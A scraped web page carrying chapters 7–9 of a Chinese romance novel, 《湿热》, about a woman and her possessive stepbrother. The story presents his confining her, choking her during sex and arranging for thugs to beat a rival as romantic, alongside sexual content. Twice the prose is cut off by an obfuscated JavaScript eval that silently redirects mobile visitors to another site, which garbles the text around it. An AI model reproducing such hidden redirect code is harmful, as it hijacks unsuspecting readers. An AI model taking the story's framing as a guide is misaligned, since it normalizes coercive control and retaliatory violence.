《湿热》 7. 渊 栗杉和谢彭越之间冷战是常有的事情,不过在冷战之前,通常伴随着一次世界大战。 在栗杉的面前,谢彭越是个毫无耐心且臭脾气的大少爷。霸道、专横、唯我独尊。 他将她视为所有物,要求她的身心都属于他一个人,随叫随到、服服帖帖。 偏偏,栗杉骨子里不是那种唯命是从的性格,他们之间三天一小吵五天一大吵是常有的事情。 栗杉就没见过像谢彭越这么神经质的人。 她刚和他发生关系后没多久,有一次忙着赶专业课老师布置的作业忘了回他消息,结果是被他关在家里三天三夜不允许出门,直接让她旷课三天。 这三天时间,他和她共处一室,除了吃喝睡觉就是做。他要在她身上烙印属于自己的印记,让她时刻谨记她是属于他的。 当时栗杉被掐着脖子狠狠按在床上做时,恨不能撕碎了谢彭越,那双倔强的杏仁眼死死看着他,嘴里依然没有半句软话:“谢彭越!有本事你就掐死我!还有,把你那根恶心的东西从我身体里拿开!” 她越是不服软,谢彭越越是来劲。等到他彻底餍足了,心情好了,会反过来安抚她。像个情绪不定的变脸大师似的,甚至还会跪在她的脚边舔吻。 随着两个人相处的时间越来越多,栗杉慢慢摸出了一些和谢彭越相处的门道。她知道他吃软不吃硬,也知道他在意什么。若实在太过疲惫,她就顺着他的意,起码不用被折腾。 事实上,近一年谢彭越在她面前的脾气肉眼可见的收敛了许多。真在她面前吃了瘪,能忍也都忍了。 这次谢彭越之所以生气,不是因为栗杉的态度,而是她的那句话。 如果他和她在一起只是为了做.爱,那找谁做不是做? 她真就是一只怎么都养不熟的猫,给她好吃好喝供着,可他还要看她的脸色和心情。 两个人这会儿刚刚吵完,谢彭越面无表情敞开腿,整个人靠在卡座上,看她没心没肺地吃着东西。 他这张脸本就生得棱角分明,再冷下脸来,像个阴湿恶鬼似的,生人勿进。 栗杉没心思搭理他,更不可能去顺他的毛,巴不得他气死了才好。她一边吃着东西,一边在寝室群里回消息。 室友邵娴在群里@栗杉,问她什么时候回来。 邵娴是个贪吃的可爱女生,经常放在嘴边的口头禅是:今天吃什么好吃的呀? 心情好时,她喜欢用美食犒劳自己;心情不好时,她也要用美食犒劳自己;考试成绩好时,她要用美食犒劳自己;考试成绩不理想时,她也要用美食犒劳自己。 刚失恋的邵娴心情很不好,打算晚上和室友们一起去搓一顿。 栗杉随即回应邵娴,说自己大概两点左右就会回寝室。 李珊挽着男朋友走过来的时候,栗杉刚刚回完邵娴的信息放下手机。 还不等李珊开口朝栗杉打招呼,她的男朋友率先开口:“原来你说的同学是栗杉啊。” 李珊有点意外,侧头问男友:“你认识?” “认识啊。” 李珊的男朋友名叫邢嘉勋,体育系的,今年也大三。他有一米八五的身高,四肢发达,爱穿白袜,很符合别人对于体育生的刻板印象。 栗杉大一的时候被邢嘉勋搭过讪,也要过联系方式。她对他不感兴趣,拒绝的更是干脆利落。 好在刑嘉勋不是死缠烂打的性格,被拒绝后就不再在栗杉身上浪费时间,去猎艳其他女生了。 不能否认的是,得不到的永远是最好的。刑嘉勋并没有觉得被栗杉拒绝是一件难堪的事情,反倒碰面了就和她打招呼,时不时油嘴滑舌一句:“杉杉同学,还没有男朋友的话记得考虑考虑我呦。” 栗杉的回答通常是让他有多远滚多远。 此时此刻,栗杉也很意外见到邢嘉勋和李珊。 这个世界真小,在这里吃饭都能遇上。 李珊这时故意笑着对栗杉打招呼:“好巧啊。” 所谓伸手不打笑脸人,栗杉也朝李珊笑了笑:“嗯。” 站在一旁的邢嘉勋先是注意到栗杉,再看向她对面的人,竟然是谢彭越? 这一看,他倒是有些意外。不过再看一眼后,似乎那么也不觉得意外了。因为无论怎么看,谢彭越和栗杉坐在一起的画面都十分养眼登对。 谢彭越这个人在学校也算是无人不知无人不晓,如果说女生被其吸引是因为他出挑的容貌,那么男生认识他,则是通过限量版的跑车。 在成年人的世界里,车在某种程度上来说是身份地位的一种象征,尤其对于不谙世事的毛头小子来说,那更是用来在圈子里炫耀的入场券。 如果说,富二代圈子分为三六九等的话,谢彭越无疑就是站在顶层的那位。 圈子就那么大,邢嘉勋不是没有和谢彭越交集过,有一次他去本市一家最豪华的会所玩时,谢彭越正好也被邀请。 那次玩下来,刑嘉勋对谢彭越最直观的印象是:人很好说话,没有架子,相处起来很舒服。 但最让刑嘉勋意外的一点是,谢彭越这个人居然不近女色。 这就很奇怪了。 “呦,居然是谢哥啊。”刑嘉勋连忙换上一副谄媚的嘴脸对谢彭越热络。 谢彭越却是一脸冷漠:“哪位?” 换成以往,他可能还会有心思装装样子,戴上善良开朗的面具和人打招呼。 可他这会儿很明显的心情不好,一副谁都不要来惹老子的表情,拽得很。 刑嘉勋顿时觉得有几分尴尬,笑着清了清嗓:“之前一起玩过,我叫刑嘉勋。” 谢彭越闻言淡淡勾唇,皮笑肉不笑地看向对方:“你好,刑嘉勋,抱歉一开始没认出来。” “这有什么,那天人多,你不记得也正常。” 这时候,已经吃饱喝足的栗杉用餐巾擦了擦唇角,直截了当地对谢彭越说:“我要回学校了,你自己慢慢吃吧。” 谢彭越再次开口时,语气却并不和善:“站住,你敢走一个试试。” 栗杉闻言二话不说,起身就走。 “我再说一遍,站住。” 谢彭越跟着起身抓住栗杉的手腕,因为用力过猛,不小心打翻了桌上一只杯子。 “嘭”的一声,玻璃杯落在地上四分五裂,水也撒了一地。 被异响惊动的客人纷纷侧头看了过来。 刑嘉勋不是看不出来其中氛围古怪,尴尬的笑也挤不出来了,拉着女友李珊准备退场:“谢哥,那我们就先走了,不打扰你和女朋友一起用餐。” 栗杉立刻大声纠正:“擦亮你的眼睛看清楚,他不是我男朋友,谢谢。” 谢彭越阴恻恻的勾着唇角,用力拽着栗杉的手腕,“是啊,东西能乱吃,话可不能乱说,这可是我的好妹妹。” “栗杉是你的妹妹?”刑嘉勋一副发现新大陆的表情。 可这再怎么看,两个人长得都不像啊。 等等,一个姓谢,一个姓栗,难道是亲戚? 一旁全程默默吃瓜的李珊脸上表情也丰富多彩,差点都忍不住想拿出手机拍下这一精彩画面了。 她原只是想过来确认栗杉和谢彭越的关系,竟没想到能看到这样一出好戏。 眼前针尖对麦芒的两个人,死死拉锯着,谁也没有服软的意思。倒真有点兄妹之间谁也不让谁的意思了。 栗杉的小身板明显不可能是谢彭越的对手,可她倔强得像是一只小牛犊。 至于谢彭越,他似乎并没有怜香惜玉的意思,大掌轻松拢着栗杉的手腕,在她腕部的皮肤上勒出一道红痕。 众目睽睽之下,栗杉一脸死寂:“谢彭越,非要把一切弄成这样,你就满意了是吗?” 明明这一切都有最好的解决方式。 可他偏要这么激进做派,用变态的控制欲占有她的私人空间。 这场闹剧,最终以谢彭越放手而停止。 栗杉被陡然放手的惯性踉跄了一下,立即头也不回地转身离开。 * 栗杉的郁闷心情在回到寝室后没多久就彻底晴朗。 她很幸运,三位室友虽然来自天南地北,但彼此之间相处得其乐融融。 这次被渣男劈腿的主人公邵娴来自大东北,她有一米七的身高,长得一副御姐模样,但一开口就是一股大东北味, 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寝室四个人,就邵娴一个人谈了恋爱。大二她和男朋友柯城确认关系的时候,还请室友们搓了一顿饭。当时小情侣两个人你侬我侬,十指紧扣,恩爱无比。可这才过了不到一年,感情就发生了翻天覆地的变化。 这一切,只能怪管不住自己下半身的渣男! 好在,邵娴看得开,心里没有失恋的痛苦,只有被劈腿的气愤。她决定化气愤为食欲,今晚就去学校旁边那家大排档好好安抚自己受伤的心灵。 只不过,令所有人都没有想到的是,冤家路窄,寝室一行人到了大排档刚刚坐下,隔壁桌就来了几个男生。而那几个男生当中好死不死的,就有那个渣男。 起初,栗杉背对着身后的人坐着,没有察觉任何不妥。 坐在栗杉对面的武昊静几乎是一眼就看到了渣男,对邵娴使了个眼色。很快,邵娴也看到了渣男,当即站了起来。 栗杉只见邵娴的手掌在餐桌上用力一拍,跟着大声叫嚷道:“都来看看啊!信息技术大三二班的柯城脚踩两只船,在校内乱搞男女关系。死渣男!你怎么还有脸出来吃饭呐?” 很显然,柯城也没有料到会在这里遇见邵娴。他是个长相斯文的男生,戴眼镜,标准工科男的长相,看着内向。可谁又能想到,这么一个看起来普普通通的男生,居然会脚踩两条船。 被邵娴这么一叫嚷,正在大排档撸串的吃瓜群众纷纷抬起头来。 柯城脸上青一阵白一阵,对同行的人说换个地方。但邵娴不依,起身拦在柯城面前。 两个人身高差不太多,邵娴盛气凌人:“怎么着?信息技术大三二班的柯城,你这是做了亏心事害怕了吗?” “邵娴!你够了!别像个疯婆子一样!” 柯城说着推了邵娴一把,本意是想她让开,但没控制住力道。 这一推,原本还在观望局势的王凌晓和武昊静跟着站了起来,冲到邵娴身边做左右护法。 一开团,栗杉二话不说就是跟着冲,保护我方邵娴。 邵娴:“不是,死渣男你推我干什么?” 柯城:“够了,我已经跟你道歉了,你还想怎么样?” 邵娴:“能怎么样?你怎么伤害我的,我就怎么伤害你。” 柯城:“你再胡搅蛮缠,别怪我不客气了!” 邵娴:“来啊!你有本事打我啊!” 在场看热闹的人不嫌事大,低头窃窃私语。 柯城觉得面子上挂不住,抬起手准备扇邵娴。 一旁的栗杉见情况不妙,上前一把抓住柯城的手。 柯城暴怒,朝栗杉大吼:“给老子放开!” 栗杉哪里怕他:“你敢对邵娴动手试试!” 柯城忍无可忍,用力推开栗杉。 男女力道悬殊,栗杉就像是一枚弹簧似的被推开,先是腰磕到桌角,脚下再一歪,整个人跌倒在地。 室友们见状也不和柯城啰嗦了,齐刷刷地跑过来搀扶关心栗杉。 “杉杉,你没事吧?” “有没有伤到哪里?” “操!狗男人你还真敢打人!” 栗杉脚踝一阵阵钻心的疼,一时之间站不起来,那叫一个不爽。 淦,这还没正式开团呢,她就战损了。 8. 源 事情的发展逐渐变得有些不受控。 如果这个时候柯城态度端正礼貌一些对栗杉道勤,她倒也不会说什么。 可偏偏,柯城是个要面子的人。众目睽睽之下,他感受到了前所未有的屈辱,一脸的羞愧愤怒。 于是他灵机一动,反过来倒打一耙:“邵娴,你别带着你室友在这里撒泼闹事。说好了和平分手,你别得不到就要毁掉,对我别死缠烂打。” 这番话简直让邵娴再次刷新自己对狗男人的认知:“我死缠烂打?柯城,你说这话不觉得昧良心吗?你还算是个男人吗?” “呵呵,我是男人才不计较你出轨,可你呢?你是怎么对我的?见我要分手,就哭哭啼啼求和好,知道软的不行,你就来我面前撒泼打滚、倒打一耙?” “你才倒打一耙!你怎么这么不要脸啊!” “行了,别敬酒不吃吃罚酒,我不想跟你闹得太难堪。” 事情被柯城引导曲解,很快陷入了罗生门。 吃瓜的人群围在大排档门口看热闹,一个个脸上神色精彩万分,也有人拿出手机偷偷拍摄。 这边,王凌晓和武昊静帮着将栗杉搀扶起来关心伤势,暂时没空参与嘴炮斗争。 邵娴顿时有点慌了,语无伦次起来:“操!柯城你个狗男人也太没下限了吧!明明是你做那些没下限的事情好吗!” 柯城也不甘示弱,继续咄咄逼人:“真是给你脸了!非要我说明了吗?你和你的室友都不是什么好货色,我可不是一次瞧见你室友上豪车,也不知道是跟哪个老男人鬼混,做见不得人的勾当。” 邵娴气急败坏:“你他妈的有病是吧!少在这里含血喷人!” 另一边,栗杉用手扶着自己被撞疼的腰,在听到柯城那番含血喷人的话语时,她有一种很强烈的直觉,柯城说的那个室友就是她。 果不其然,栗杉一抬头,对上柯城投过来的视线,那双眼里写满了不屑。 栗杉忍着左脚脚踝上的疼痛走到柯城面前,冷声道:“你什么意思?别含沙射影的,麻烦你把话说清楚。” 柯城垂眸看着栗杉,冷笑一声:“怎么着?心虚了吗?对,我说的就是你!看着一副清高的样子,怕不是在外面做小姐呢吧?被多少人睡过都不知道。” “你有本事再给我说一遍!”栗杉不知道是用什么心情在说这句话的,她只知道自己整个人都在发抖,就连声线也变得沙哑。 室友们见状开始一起炮轰柯城。 王凌晓:“你小子嘴巴放干净一点!” 武昊静:“等着,我们一定会告你诽谤的!” 邵娴:“有什么事你冲着老娘来,别抹黑我室友。” 柯城看着一言不发的栗杉,轻笑:“有没有抹黑,她自己心里清楚。” 突然,只听“嘭”的一声。 栗杉不知何时拿起了一旁的啤酒瓶,以迅雷不及掩耳的架势,一下子砸在了柯城的头上。 这一切发生得太快,在场所有人都没有反应过来,包括柯城本人。 被啤酒瓶砸懵的柯城眼冒金星,随即被同行的朋友搀扶着。 有人惊呼:“哇 !流血了!” 正跟着一块儿吃瓜的商家这个时候意识到事情不对劲,连忙上前劝架。 很快,柯城反应了过来,怒吼一声,举起一旁的塑料凳就要朝栗杉冲过去,一副要与人同归于尽的模样。 “老子今天就要弄死你个贱货!” 大排档的男老板见状一把抱住柯城的腰,劝道:“年轻人,理智一点,别冲动做了后悔的事情。” 这边,王凌晓和武昊静也立刻挡在栗杉的面前,不让柯城靠近半步。 栗杉手上还拿着那届破碎的啤酒瓶,脸上不见怯懦。她用锋利的玻璃碎片对着柯城:“来,有本事你今天就来弄死我!” 吃瓜的同学们看到这个阵仗也都被吓到了,有些没有被吓到的赶紧拿出手机拍照录视频,也有帮忙拦着的人。 “好了好了,都消停消停,别吵了。” “男人让着点女生怎么了?” “需要叫个救护车吗?” “流了好多血。” 事情闹到这个局面,是谁也没有预料到的。若是再闹下去,可能真的没有办法收场。 柯城这边的朋友帮忙劝着,一并拉着他离开。 邵娴此时六神无主,也不再恋战。 这场战争最终画上了休止符。 大排档外看热闹的人群散去,但关于这件事的热度却在持续发酵。 栗杉倒是一脸淡然,仿佛刚才拿酒瓶子砸人的不是她。 她忍着脚踝上的疼痛在塑料凳上坐下来时,被室友武昊静提醒,这才发现自己的手腕上不知何时有了一道划痕,伤口正向外渗出不少血。 想来,是刚才那啤酒瓶砸柯城的时候,不小心被飞溅出来的玻璃碎片划伤。 皮肉伤,问题不大。 王凌晓连忙抽了纸巾压着栗杉的伤口,关心道:“要不要去医院看看?” 栗杉摇头:“不用,这点小伤口别刚到医院就愈合了。” 邵娴则更是一副灰头土脸的模样:“都怪我没用,害你们趟这趟浑水。杉杉,我向你道歉,对不起。” “错的人是柯城,跟你有什么关系。”栗杉拍拍邵娴肩膀,“我没事。” 武昊静:“对,只怪我们低估了柯城的不要脸程度。” 王凌晓:“就是,简直刷新了我对渣男的认知。” 邵娴心情低落:“我们先吃东西吧,别让渣男坏了心情。” 几个人闻言面面相觑,突然默契地“噗嗤”一笑。 这个时候还能吃得下东西的,也就邵娴了。 * 一则女生用啤酒瓶捶爆男生脑袋的视频在同学间传阅。 这条视频被谢彭越知道,是一个小时后。 谢彭越在网球馆与退役的运动员陪练打了两个小时的球,浑身大汗淋漓。 场馆内明亮的大灯投射下,衬得刚沐浴出来的谢彭越一身莹润的光。他穿得不多,一件纯白的短袖T恤,下身是黑色短裤。没被衣物覆盖的皮肤上肌理线条明晰,有一种专属于男人的蓬勃性张力。 短视频是乐队的朋友发给谢彭越的。 [哥,杉姐也太莽了!] 谢彭越站定脚步点开短视频,脸色也随着短视频播完越来越沉。 这时候,栗杉和室友们吃完了大排档,返回宿舍。 一路上,栗杉脚踝上的疼痛感变得愈发清晰,但为了不让室友们担心,所以忍着没说。她这个人自小就是这种性格,不到万不得已,不会把自己的痛苦告诉任何人,只会默默消化。 武昊静察觉栗杉走路的异样姿势,问她:“是不是刚才被柯城推倒的时候崴到脚了?” 栗杉估摸着是没有伤到骨头的,摇头说没事:“等会儿跟隔壁舞蹈系的同学借个跌打损伤的药擦一擦就好了。” 邵娴不放心:“确定没事吗?要不然去医院看看?” 说起来,这件事都是她惹起的,实在有些过意不去。 “真不用,我又没有那么脆皮。” 回到寝室,几乎是栗杉刚坐下没多久,便收到谢彭越打来的电话。 看到手机屏幕上这串熟悉的数字,她下意识蹙起眉,只觉得又烦又恼。好不容易能消停会儿,没想到又要面对谢彭越。 栗杉最厌恶谢彭越的一点是,他要求她必须接听他的电话,随叫随到。否则,后果自负。 不用怀疑谢彭越会心软,他这种恶人没有什么事情是做不出来的。 他说过,若她不接电话,他不介意亲自来她的寝室楼下找她。但凡她再拒接,他就会拿着喇叭在她寝室楼下叫喊,让全世界知道他们的关系。 栗杉丢不起这个人。 好在没有特殊的情况下,谢彭越一般不会给她打电话,他们之间一直是用微信交流。 手机一直震动了十几秒,最后栗杉拿出耳机戴上,走到卫生间接听。 刚一接通,谢彭越的声线含着淡淡薄怒:“在哪儿?” “寝室。” “十分钟,下楼见我。” “你要干嘛?” “能干嘛?你现在可是出名了,长本事了,拿啤酒瓶砸人?” “你根本就不了解情况。” “所以我倒要听一听究竟是什么事,能让我家宝宝生那么大的气?” “我很累了,不想下楼。” “别啰嗦,乖,我等你。” 谢彭越说完,单方面挂断了电话。 栗杉叹了一口气,摘下耳机。她不得不对室友们撒谎,借口说自己有事要下楼一趟。 室友们正在复盘今晚发生的事情,没对栗杉的话产生怀疑。 很快,栗杉忍着脚踝上的疼痛快步下楼。 类似跟别人鬼混这种难听的话,她不想再从别人口中听到。所以,她必须要赶在谢彭越到来之前下楼,并且找一个隐蔽的地方,免得同学看到。 栗杉给谢彭越发了条消息,说还在老地方等他。 所谓的老地方,就是寝室大楼的后面的一颗香樟树旁,那边有一条通往塑胶操场的道路,但一般人都不走这里。 消息发出去不到一分钟,谢彭越的车停在栗杉的面前。 “上来。” 栗杉下意识左右看了眼,确认没人看见,咬着牙准备上车。 可谢彭越这辆大G地盘过高,她本就走了一路,这会儿发烫的脚踝使不上一点力气。 谢彭越很快也察觉到了栗杉的不自然,迅速打开车门绕到副驾驶的位置,二话不说先将她抱上了车。 他观察敏锐,首先注意到她腕部的伤痕,再来是脚踝。 “能耐了,打个架,还把自己弄伤了?”脸色难看的谢彭越,这会儿语气倒是软了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219455|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,俯身耐心给她扣上安全带。 他们两个人中午还在吵架,那会儿颇有一种老死不相往来的架势。 按照以往的惯例,这次吵架以后,他们最少有一个星期不会再联系。 谢彭越也的确有一肚子的憋屈,于是泡在体育馆就是整个下午。 他这个人的脾气就像是岭南湿热的夏季,就算是在栗杉的面前发大火,可随之而来便是浓重的潮气,闷得人喘不过气来。 栗杉崩了一晚上的情绪,在看到谢彭越时,莫名很想发出来。 “我说了,你根本就不了解情况!还有,受伤就受伤,我可没让你管。” “不让我管?你准备让谁管?”谢彭越说着,那只宽大的手掌沿着栗杉的小腿往下抚摸,最后按在她受伤的踝部,惹得她一阵颤栗。 真倔。 都肿成这样了,还死鸭子嘴硬。 “这里疼是么?”谢彭越问。 栗杉抿着唇,不想说话。 “小没良心的,心疼你,你倒还给我摆起脸色来了。” “你要是真心疼我,就不要说那么刺耳的话。” 谢彭越闻言顿了顿,难得见她像个小媳妇似的一脸委屈模样。她说完话就倔强地把脸脸撇向一边,耳垂上有一颗小痣在他的面前一晃一晃的。 她不爱佩戴首饰,他却很喜欢在她身上装点。上次给她买的一对耳钉见她也是喜欢的,不过到底也是没戴。 “行,我收回刚才的话。” 谢彭越并没有打算跟这个没心没肺的小猫一般见识。 总归是受伤了,得让着点。 有了台阶下,栗杉也不再倔着。毕竟和谢彭越硬碰硬也没啥好果子吃,这时候倒不如服软。 可她不知道,自己这副孱弱的样子撩得谢彭越心里一阵阵地发软。 副驾驶的车门还开车,谢彭越躬着身子探进来,离得近,他语气也轻,问她:“还有哪里受伤?” 栗杉闻言指了指自己的腰:“这里磕着了。” 回寝室的时候看了眼,已经青紫了一大块。迟早要让他看到这些痕迹,索性说了,否则之后又该不依不挠。 谢彭越一听就要伸手撩栗杉的衣摆看个究竟,但被她按着手腕:“不要,现在在学校。” “怕什么,没人看到。” “就是被人看见了。” 栗杉的手指包裹着谢彭越的手腕,想起柯城说的那些话,说她上豪车、在外面不知道被多少人睡。 这个世界就是这么魔怔,想要给一个女生造黄瑶是如此的轻而易举。 发生在栗杉身上的这些事,谢彭越不是不知道。 他不仅一五一十地了解了事情的前因后果,也没打算放过那个叫柯城的狗东西。 真新鲜,他捧在手心都怕伤着的人,没想到被别人给伤了。 “被看见什么了?是看见我亲你了?还是看见我跪在你面前喊你宝宝?”谢彭越吊儿郎当地掐了一把她软嫩的脸颊,“你不在意别人的,别人的恶语也不会中伤你。” 说完,他俯身在她脸颊亲了一口,掉头回驾驶位。 谢彭越知道栗杉在介意什么,可那些亲昵的事情,哪件不是关起门来时她才允许的? 法律上没有规定他们两个人不能在一起吧? 上车后,谢彭越才对栗杉说:“你要收拾渣男我没意见,只不过,下次动手的事情就交给我,你看你,把自己弄成什么样了?” 栗杉低头看了眼自己,她这不是好好的吗? “我没你想得那么脆弱。” “谁说你脆弱了?”谢彭越冷哼,“你这个人敏感,冲动,不服输,得理不饶人。” “我哪有!” “还没说完呢。”恰好是红灯,谢彭越停下车看向栗杉,“争强好胜,外强中干,像个爆竹似的,一点就燃。” “你好意思说我?你自己不就是这样吗?” “我没说我不是这样啊。”转绿灯,谢彭越踩下油门时一并笑道,“所以,我们两个人真真绝配。” “谁跟你绝配了。”栗杉小声低估着,默默翻了个白眼。 说话间,谢彭越放在中控台上的手机屏幕亮了一瞬。 有人发消息过来:[完事了。] 没人知道的是,在校外一个没有监控的死角,一个男大学生正被一群社会青年围住。 “柯城是吧?”说话的人缓缓朝靠近。 柯城察觉不妙,但已经是退无可退。 “好学生,欠债了就要还钱。这么简单的道理,学校老师应该教过你吧?” 来人一开口,柯城就自知理亏了,连忙求道:“再给我几天时间,我一定会还钱的。” “这个我说了可不算,不过你的债主说了,这点钱没了就没了,可这口气咽不下啊。” “别……” 不多时,一道痛苦的尖叫声在寂静的黑夜响彻长空。 9. 溢 不得不说,谢彭越对栗杉的评价是中肯到位的。 两个人相处三年,对彼此的性格也早就摸透了。 没多久,谢彭越将车停到了学校附近的一家三甲医院停车场。不用说,栗杉也知道接下来要做什么了。 他一直都是个行动派,做得比说得多。只不过,一旦情绪上来,容易在她面前发疯也是真的。 “拍个片看看有没有伤到骨头,受伤这种事可大可小,别不放在心上落下病根。” 栗杉根本没有拒绝的可能性,谢彭越已经绕过车前来到副驾驶,一把将她打横抱了起来。 他高大、有力,身上有她熟悉的清爽气息。 这也是栗杉感到最矛盾的地方,她一面厌恶谢彭越的专横霸道,一面又默认他带给自己的安全感。 下意识的,她默默用双手圈着他的脖颈,习惯性地靠在他的怀中。 这个时候确实没有逞强的必要,她的脚踝已经红肿疼痛,也就任由谢彭越抱着自己进入医院的急诊大厅。 晚上的急诊外科比栗杉想象中要畅通。挂号,见医生,开单,做检查。 医院里的消毒气息浓烈,有很长一段时间,栗杉经常陪同爸爸去医院,对这种气味再熟悉不过。 谢彭越对医院熟门熟路的,抱着栗杉做检查拍拍片,全程不用她操半分心。这让栗杉想起,当初爸爸栗冠宇的病情由谢彭越了解之后,他便着手开始帮忙找权威的医生,以及提供足够的现金。 就像谢彭越说的,她跟着他,只要把心放在肚子里,剩下的一切交给他就行。 检查结果很快出来,医生看过片子说没伤到骨头,开了点跌打损伤的药让回去涂抹,静养几天即可。 谢彭越听后脸色明显轻松了不少,对医生道了谢,便又将栗杉抱起,男友力十足的做派。 在医院的这点时间,栗杉也切身体会到了什么叫“万众瞩目”。 她被高大的谢彭越打横抱在怀里,不明所以的病患以及病患家属都会投射来异样的目光,以为她真有什么大病以至于没办法下地走路。所以她不得不把脸埋得更深,只要她看不到别人的目光,尴尬的就不是自己。 回停车场的路上,栗杉依旧像个挂件似的挂在谢彭越身上。 从她的角度看,谢彭越无疑有着优越的下颌线条,令人无法忽视。 此时,她的视线正与他突出的喉结平齐。 有时候她不愿意看他的脸,就会盯着他的喉结看。她没有对任何人说过,自己的性癖其实是喉结。她更没有对任何人说过,每当谢彭越的情绪到达顶点时微仰起头低吼时,那颗滚动的喉结就像是一块镶嵌在白皙皮肤上的菱形宝石,会让她忍不住想亲上去。 走出医院一段路后,栗杉轻轻推了推谢彭越的肩膀,语气有点不自然:“你现在送我回寝室。” 谢彭越笑了:“这是把我当佣人还是当司机?” “我都说了我没事,谁让你非要把我送医院来。” “过河拆桥是吧?”谢彭越抱着栗杉的手顺势在她腰上轻轻掐了一把。 她莫名有点心虚,躲了躲。 谢彭越没再逗她,将她抱上了车。正低头扣安全带的时候,又听她说: “谢彭越,我要回寝室。你不送的话,我打车回去。” 谢彭越缓缓抬起头,一瞬不瞬地看着栗杉,漆黑的眸色中染上淡淡薄怒。 光线昏暗的停车场,栗杉的脸上透着浓浓的倔强,像极了他第一次在别墅看到她时的样子。 那时候的栗杉十七岁,模样和现在并无太大变化,是第一眼就会让人惊艳的程度。 不想,他还没说什么,她的眼神中却透着浓浓的防备与不安,仿佛他是什么不干净的东西。 老实说,对于父亲从外面带女人回来这件事,谢彭越并没有什么意见,也懒得操那些没用的心。 可当时的他并不知道,那个女人居然会带个拖油瓶过来,还是个秀色可餐的小妹妹。 更没有料到,这个妹妹的出现,会给他的生活造成翻天覆地的影响。 他们两个人本来就在中午的时候吵过,真要说起来,谢彭越心里那点气还没完全消。 “再说一遍。”他也在极力克制自己的情绪。 栗杉动了动唇:“我要回……唔……” 还未说完的话,最后全数被谢彭越吞没。 强势的侵略让栗杉躲避不急,只能被迫承受他的长驱直入。 她想咬他,但被他先一步扣住下巴,被迫张开嘴。 “和我待在一起,就让你这么不痛快?” 栗杉撇过头,挣脱他的禁锢,一并擦了擦唇角的口水:“我还没跟老师请假,而且,又要找借口应付室友,真的很烦。” 作为一个住校生,不能在无缘无故的情况下不回宿舍,这是有明确规定的。 她今晚匆匆出来,也没和室友说自己不回去住。 谢彭越听后一脸“我懂了”的表情,随即拿出手机,拨通了一个电话。紧接着,栗杉听到他说:“给她请假,三个晚上不回宿舍住。嗯,病假。” “不是,你怎么……” 栗杉还没反应过来时,谢彭越又拿起她的手机,干脆利落地在名为“花果山会议室”的室友群里留下一段话:[我刚才和家人一起去了医院做检查,今晚不回宿舍住。] 消息发出去一秒,他又加了一句:[接下去三天都不回宿舍住。] “OK,你提出的问题都已经帮你解决了,还有什么借口吗?” “你!”栗杉简直无语至极。 谢彭越的重点却是:“所以,没有这么些个问题,你还是愿意和我待一块儿的,对么?” 栗杉不能理解谢彭越的脑回路,懒得搭理他。 总归,今天已经是第二次因为去不去他那里住而产生争执,她也是真懒得再吵了。 群里的室友们在看到栗杉的消息之后,纷纷询问关心。 没办法,她只能硬着头皮继续圆谎。 反观谢彭越,他这会儿脸上不见半分怒气,甚至可以说心情大好。 * “我自己能洗澡,不需要你的帮忙,谢谢。” “宝宝,我们之间用不着这么客气。” “谢彭越!你洗就洗,能不能不要乱摸!” “不是,不摸怎么给你洗?” “痒痒痒。” “怎么还是怎么敏感?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219456|181437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唔……” “别动,让我亲一会儿。” 洗个澡,花了将近一个小时的时间终于洗完。 栗杉被谢彭越从浴室里抱出来时,已经被妥帖穿好了睡裙。她还在生理期,没穿内裤,直接穿了安睡裤。 他这里的东西一应俱全,甚至连她的护肤品都准备了,还是贵妇系列的产品。 卧室的床上已经换了新的四件套,栗杉没问被弄脏的床单最后是怎么处理的,但她看到了放在床上的几条全新的女士内裤。 ——一看这种布料少的蕾丝风格,就是某人的喜好。他喜欢捧着她的屁股亲,还喜欢把脸埋进去。 她以前对床上的事情生疏,简直要当场羞愤而死。现在倒是习以为常了,毕竟爽的人是她。 谢彭越一副傲娇的模样用修长的手指勾起那几条内裤,说:“看到没,老子亲自手洗的,都晾干了,香喷喷的。” “哦,需要我给你颁个洗内裤第一名奖吗?” 谢彭越简直要被栗杉这副一本正经的样子笑死,肾上腺素一上升,就忍不住把她按在身下亲。 唇舌之间的交锋,有时候可以是剑拔弩张,有时候也可以是温柔缱绻。 栗杉这会儿突然不躲了,任由谢彭越亲吻,时不时给予一些回应,甚至用双手勾缠着他的脖颈,情难自禁般地溢出了声。 事实证明,他们之间和平相处时,也可以是充满温情的。 谢彭越有点意外地停下来看着她,连语气都是温柔缱绻的:“现在怎么那么乖?” 栗杉眨眨眼:“我什么时候不乖了?” 人在做坏事的时候总是不嫌麻烦也不嫌累。 栗杉仰头看着谢彭越这张陷入情欲之中的脸,一想到他等会儿只能一脸憋屈地用手解决,就忍不住有些想笑。 于是她更加卖力地勾引他。 “哥哥,把舌头给我好不好?” 谢彭越也的确被她撩拨得头皮发麻,情绪高涨地掐着她的脖子,dirty talk张口就来。 他这一脸精致的五官再配上那些下三流的话,完全是教科书级别的性张力。 很快,栗杉的裙摆被撩起一角。 “啪”的一巴掌扇在她的屁股上。 随即,谢彭越反应过来手感不对。他被她撩得晕头转向,差点忘了她在生理期。 再抬头对上栗杉的眼眸时,只见她一脸干了坏事藏不住的笑意。 “不好意思呢哥哥,妹妹我今天身体不便。” 